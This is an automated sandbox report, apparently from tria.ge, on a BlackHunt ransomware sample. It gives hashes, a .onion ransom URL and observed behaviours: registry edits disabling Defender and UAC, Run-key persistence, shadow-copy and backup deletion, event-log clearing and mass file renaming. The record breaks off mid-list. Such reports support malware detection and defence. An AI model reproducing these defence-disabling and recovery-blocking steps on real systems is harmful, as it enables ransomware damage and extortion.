Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
125s -
max time network
159s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
19/01/2024, 01:18
Static task
static1
Behavioral task
behavioral1
Sample
ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe
Resource
win10v2004-20231222-en
General
-
Target
ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe
-
Size
707KB
-
MD5
99b3c2c71a0838a0debae74e16d5743f
-
SHA1
f7666a7bbcaa45639493a520f8f07b00236c5d99
-
SHA256
ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334
-
SHA512
b48b55cf30e9c1a68b998694d3fd8a901086e40969909d09f01d284183e0460b382bae8a22346e7507794043930b24ba7ff8e7e52680a71ec0c0d54d994440c4
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1B8fvnh:6uaTmkZJ+naie5OTamgEoKxLW03h
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 5720 fsutil.exe 8796 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 10036 wevtutil.exe 3660 wevtutil.exe 7672 wevtutil.exe 5624 wevtutil.exe 6824 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 8836 bcdedit.exe 8968 bcdedit.exe 9444 bcdedit.exe 6264 bcdedit.exe -
Renames multiple (3343) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 8804 wbadmin.exe 9488 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\S: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\X: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\V: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\Q: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\Y: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\I: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\Z: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\J: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\B: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\O: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\H: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\G: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\L: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\N: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\M: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\R: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\W: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\U: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\P: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\A: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\K: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\E: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\T: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 8 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nb-no\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\eu-es\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\no_get.svg ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\ko-kr\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\uz\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\large_trefoil.png ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fi-fi\ui-strings.js ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\es-es\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\Java\jre-1.8\lib\security\policy\limited\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\QRCode.pmp ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\S_IlluNoSearchResults_180x160.svg ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\sl-si\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nl-nl\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\hr-hr\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\ffjcext.zip ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\colorimaging.md ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\icudtl.dat ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\images\themeless\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\da-dk\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\ms_get.svg ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_download_audit_report_18.svg ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nb-no\ui-strings.js ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\da-dk\ui-strings.js ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ca-es\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner_int_2x.gif ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_folder-focus_32.svg ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\en-il\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\uk-ua\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\az_get.svg ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\cs-cz\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\7-Zip\Lang\ast.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\fr-fr\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\rss.gif ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ar-ae\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\fr-fr\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\7-Zip\Lang\mr.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\cmm\GRAY.pf ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MyriadPro-Bold.otf ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\zh-tw\ui-strings.js ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_PT\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_highcontrast_retina.png ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\svgCheckboxSelected.svg ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\root\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\tr-tr\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-ma\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themeless\S_ThumbUpOutline_22_N.svg ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\init.js ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ja-jp\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\plugins\rhp\pages-app-tool-view.js ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\pl-pl\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Google\Update\Install\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\LICENSE.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ar-ae\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-exit.svg ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\da-dk\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\VideoLAN\VLC\COPYING.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 7884 3684 WerFault.exe 296 -
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6960 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 9000 vssadmin.exe 9028 vssadmin.exe 6368 vssadmin.exe 6416 vssadmin.exe 9024 vssadmin.exe 6196 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 7040 taskkill.exe -
Modifies registry class 9 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings cmd.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 6124 PING.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Token: SeRestorePrivilege 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Token: SeBackupPrivilege 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Token: SeTakeOwnershipPrivilege 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Token: SeAuditPrivilege 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Token: SeSecurityPrivilege 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Token: SeIncBasePriorityPrivilege 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Token: SeBackupPrivilege 6580 vssvc.exe Token: SeRestorePrivilege 6580 vssvc.exe Token: SeAuditPrivilege 6580 vssvc.exe Token: SeBackupPrivilege 5620 wbengine.exe Token: SeRestorePrivilege 5620 wbengine.exe Token: SeSecurityPrivilege 5620 wbengine.exe Token: SeSecurityPrivilege 7672 wevtutil.exe Token: SeBackupPrivilege 7672 wevtutil.exe Token: SeSecurityPrivilege 3660 wevtutil.exe Token: SeBackupPrivilege 3660 wevtutil.exe Token: SeSecurityPrivilege 6824 wevtutil.exe Token: SeBackupPrivilege 6824 wevtutil.exe Token: SeSecurityPrivilege 5624 wevtutil.exe Token: SeBackupPrivilege 5624 wevtutil.exe Token: SeSecurityPrivilege 10036 wevtutil.exe Token: SeBackupPrivilege 10036 wevtutil.exe Token: SeDebugPrivilege 7040 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2320 wrote to memory of 4444 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 92 PID 2320 wrote to memory of 4444 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 92 PID 2320 wrote to memory of 4700 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 94 PID 2320 wrote to memory of 4700 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 94 PID 2320 wrote to memory of 3848 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 215 PID 2320 wrote to memory of 3848 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 215 PID 2320 wrote to memory of 1908 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 96 PID 2320 wrote to memory of 1908 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 96 PID 2320 wrote to memory of 368 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 98 PID 2320 wrote to memory of 368 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 98 PID 4700 wrote to memory of 2068 4700 cmd.exe 213 PID 4700 wrote to memory of 2068 4700 cmd.exe 213 PID 4444 wrote to memory of 1036 4444 cmd.exe 100 PID 4444 wrote to memory of 1036 4444 cmd.exe 100 PID 2320 wrote to memory of 4540 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 101 PID 2320 wrote to memory of 4540 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 101 PID 2320 wrote to memory of 2248 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 212 PID 2320 wrote to memory of 2248 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 212 PID 2320 wrote to memory of 5096 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 103 PID 2320 wrote to memory of 5096 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 103 PID 2320 wrote to memory of 2940 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 210 PID 2320 wrote to memory of 2940 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 210 PID 2320 wrote to memory of 4720 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 172 PID 2320 wrote to memory of 4720 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 172 PID 2320 wrote to memory of 2468 2320 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 104 PID 2320 wrote to memory of 2468 2320 